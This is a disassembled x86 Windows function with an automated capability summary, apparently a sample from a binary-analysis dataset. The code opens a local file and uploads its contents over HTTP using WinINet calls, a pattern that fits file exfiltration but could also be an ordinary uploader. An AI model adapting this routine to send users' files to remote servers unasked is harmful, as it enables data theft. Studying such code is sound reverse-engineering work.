Function at 0x40f620
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460333
mov eax, dword fs:[0]
push eax
sub esp, 0x194
mov eax, dword [0x482024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 3
lea eax, [ebp + 0x38]
cmp dword [ebp + 0x4c], 0x10
push 0x4768cc
cmovae eax, dword [ebp + 0x38]
push eax
call fcn.00444d57
add esp, 8
test eax, eax
je 0x41017f
push eax
call fcn.0044533d
add esp, 4
cmp dword [ebp + 0x18], 0
je 0x41017f
cmp dword [ebp + 0x30], 0
je 0x41017f
cmp dword [ebp + 0x60], 0
je 0x41017f
sub esp, 0x18
lea eax, [ebp + 0x38]
mov edi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00423100
call fcn.00409fe0
mov ebx, eax
lea esi, [ebp - 0x13]
add esp, 0x18
test ebx, ebx
jns 0x40f6f0
neg ebx
mov eax, 0xcccccccd
dec esi
mul ebx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [esi], bl
mov ebx, edx
test ebx, ebx
jne 0x40f6c3
dec esi
mov byte [esi], 0x2d
jmp 0x40f712
mov eax, 0xcccccccd
dec esi
mul ebx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [esi], bl
mov ebx, edx
test ebx, ebx
jne 0x40f6f0
lea eax, [ebp - 0x13]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp esi, eax
je 0x40f735
sub eax, esi
mov ecx, edi
push eax
push esi
call fcn.00424030
lea ecx, [ebp - 0x98]
call fcn.004051d0
add esp, 0x18
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 4
push eax
sub esp, 0x18
mov ecx, esp
push 0x482e0c
call fcn.00423100
lea ecx, [ebp - 0x28]
call fcn.004064c0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x80]
call fcn.004247d0
add esp, 4
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40f7b1
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f7a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41029d
push edx
push ecx
call fcn.0042aa8a
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x18], 0
mov ecx, esp
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push 0x482bcc
call fcn.00423100
lea ecx, [ebp - 0x188]
call fcn.004064c0
add esp, 0x18
push eax
lea eax, [ebp + 0x50]
mov byte [ebp - 4], 8
push eax
sub esp, 0x18
mov ecx, esp
push 0x482fd4
call fcn.00423100
lea ecx, [ebp - 0x170]
call fcn.004064c0
add esp, 0x18
push eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 9
push eax
sub esp, 0x18
mov ecx, esp
push 0x48307c
call fcn.00423100
lea ecx, [ebp - 0x158]
call fcn.004064c0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x140]
call fcn.004247d0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x128]
call fcn.004246d0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x110]
call fcn.004247d0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x68]
call fcn.004246d0
add esp, 4
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0xfc]
cmp edx, 0x10
jb 0x40f8ba
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f8b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x40f913
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f909
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x40f96c
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f962
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x144]
cmp edx, 0x10
jb 0x40f9c5
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f9bb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x40fa1e
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fa14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x174]
cmp edx, 0x10
jb 0x40fa77
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fa6d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a2
push edx
push ecx
call fcn.0042aa8a
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x178], 0
mov ecx, esp
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
push 0x48304c
call fcn.00423100
lea ecx, [ebp - 0xf4]
call fcn.004064c0
add esp, 0x18
push eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x15
push eax
sub esp, 0x18
mov ecx, esp
push 0x4831e4
call fcn.00423100
lea ecx, [ebp - 0x1a0]
call fcn.004064c0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x28]
call fcn.004247d0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x50]
call fcn.004246d0
add esp, 4
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40fb32
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fb28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a7
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x40fb82
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fb78
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a7
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0xe0]
cmp edx, 0x10
jb 0x40fbdb
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fbd1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102a7
push edx
push ecx
call fcn.0042aa8a
add esp, 8
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0xe4], 0
cmovae eax, dword [ebp - 0x80]
cmp dword [ebp - 0x54], 0x10
mov dword [ebp - 0xcc], eax
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
cmp dword [ebp - 0x3c], 0x10
mov ebx, eax
mov dword [ebp - 0xe0], 0xf
cmovae ecx, dword [ebp - 0x50]
mov byte [ebp - 0xf4], 0
mov dword [ebp - 0xc8], eax
lea edx, [ebx + 1]
mov dword [ebp - 0xc4], ecx
nop
mov al, byte [ebx]
inc ebx
test al, al
jne 0x40fc30
sub ebx, edx
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
sub ecx, edx
movlpd qword [ebp - 0xbc], xmm0
push 0x10000
mov dword [ebp - 0xdc], ecx
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa0], xmm0
call fcn.0042aa98
push 0x10000
push 0
push eax
mov dword [ebp - 0xd8], eax
call fcn.004415a0
add esp, 0x10
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0x4c], 0x10
lea ecx, [ebp + 0x38]
push 0
cmovae ecx, dword [ebp + 0x38]
push 0x8000080
push 3
push 0
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x2c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp + 0x38]
mov ecx, esp
push eax
call fcn.00423100
call fcn.00409fe0
add esp, 0x18
mov dword [ebp - 0xd0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x30], eax
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 8]
push 0
push 3
push 0
push 0
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x38], esi
push 0
push 0
push 0
mov byte [ebp - 4], 0x1e
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
push 0
cmovae eax, dword [ebp + 0x20]
push 0
push eax
sub esp, 0x18
mov ecx, esp
push 0x483588
call fcn.00423100
lea ecx, [ebp - 0xf4]
call fcn.004064c0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x40fd66
mov eax, dword [eax]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edx, dword [ebp - 0xe0]
mov esi, eax
cmp edx, 0x10
jb 0x40fdaa
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fda0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102ac
push edx
push ecx
call fcn.0042aa8a
add esp, 8
push 0xa0000000
push 0xffffffffffffffff
push dword [ebp - 0xcc]
push esi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0xd0]
push 0
add eax, ebx
mov dword [ebp - 0xc0], 0x28
push 8
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xc0]
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test ebx, ebx
je 0x40fe25
mov edi, dword [ebp - 0xc8]
nop word [eax + eax]
lea eax, [ebp - 0xc8]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x40fe22
add edi, dword [ebp - 0xc8]
sub ebx, dword [ebp - 0xc8]
jne 0x40fe00
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xd0]
test eax, eax
je 0x40febc
sub eax, dword [ebp - 0xd4]
mov ecx, 4
cmp eax, ecx
push 0
cmovb ecx, eax
lea eax, [ebp - 0x34]
push eax
push ecx
push dword [ebp - 0xd8]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410042
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xc8], eax
test ebx, ebx
je 0x40fe9c
mov edi, eax
lea eax, [ebp - 0xcc]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x40fe96
add edi, dword [ebp - 0xcc]
sub ebx, dword [ebp - 0xcc]
jne 0x40fe74
mov ebx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xd4]
add eax, ebx
cmp eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd0]
jb 0x40fe33
mov ebx, dword [ebp - 0xdc]
test ebx, ebx
je 0x40fef5
mov edi, dword [ebp - 0xc4]
nop dword [eax]
lea eax, [ebp - 0xc4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x40fef2
add edi, dword [ebp - 0xc4]
sub ebx, dword [ebp - 0xc4]
jne 0x40fed0
mov edi, dword [ebp - 0x2c]
push 0
push 8
push 0
push esi
call dword [sym.imp.WININET.dll_HttpEndRequestW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test esi, esi
je 0x40ff0f
push esi
call ebx
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x40ff19
push eax
call ebx
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40ff23
push eax
call ebx
test edi, edi
je 0x40ff33
cmp edi, 0xffffffff
je 0x40ff33
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x40ff67
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ff5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x40ffad
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ffa3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x40fff3
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ffe9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp edx, 0x10
jb 0x41017f
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410175
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
jmp 0x410175
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test esi, esi
je 0x41004f
push esi
call ebx
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x410059
push eax
call ebx
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x410063
push eax
call ebx
test edi, edi
je 0x410073
cmp edi, 0xffffffff
je 0x410073
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x4100a7
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41009d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x4100ed
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4100e3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x410133
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410129
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp edx, 0x10
jb 0x41017f
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410175
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b1
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4101b3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4101a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b6
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4101f9
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4101ef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b6
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x41023f
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410235
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b6
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp + 0x64]
mov dword [ebp + 0x48], 0
mov dword [ebp + 0x4c], 0xf
mov byte [ebp + 0x38], 0
cmp edx, 0x10
jb 0x410281
mov ecx, dword [ebp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410277
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4102b6
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a413
mov esp, ebp
pop ebp
ret
call fcn.004458bc
call fcn.004458bc
call fcn.004458bc
call fcn.004458bc
call fcn.004458bc
call fcn.004458bc
int3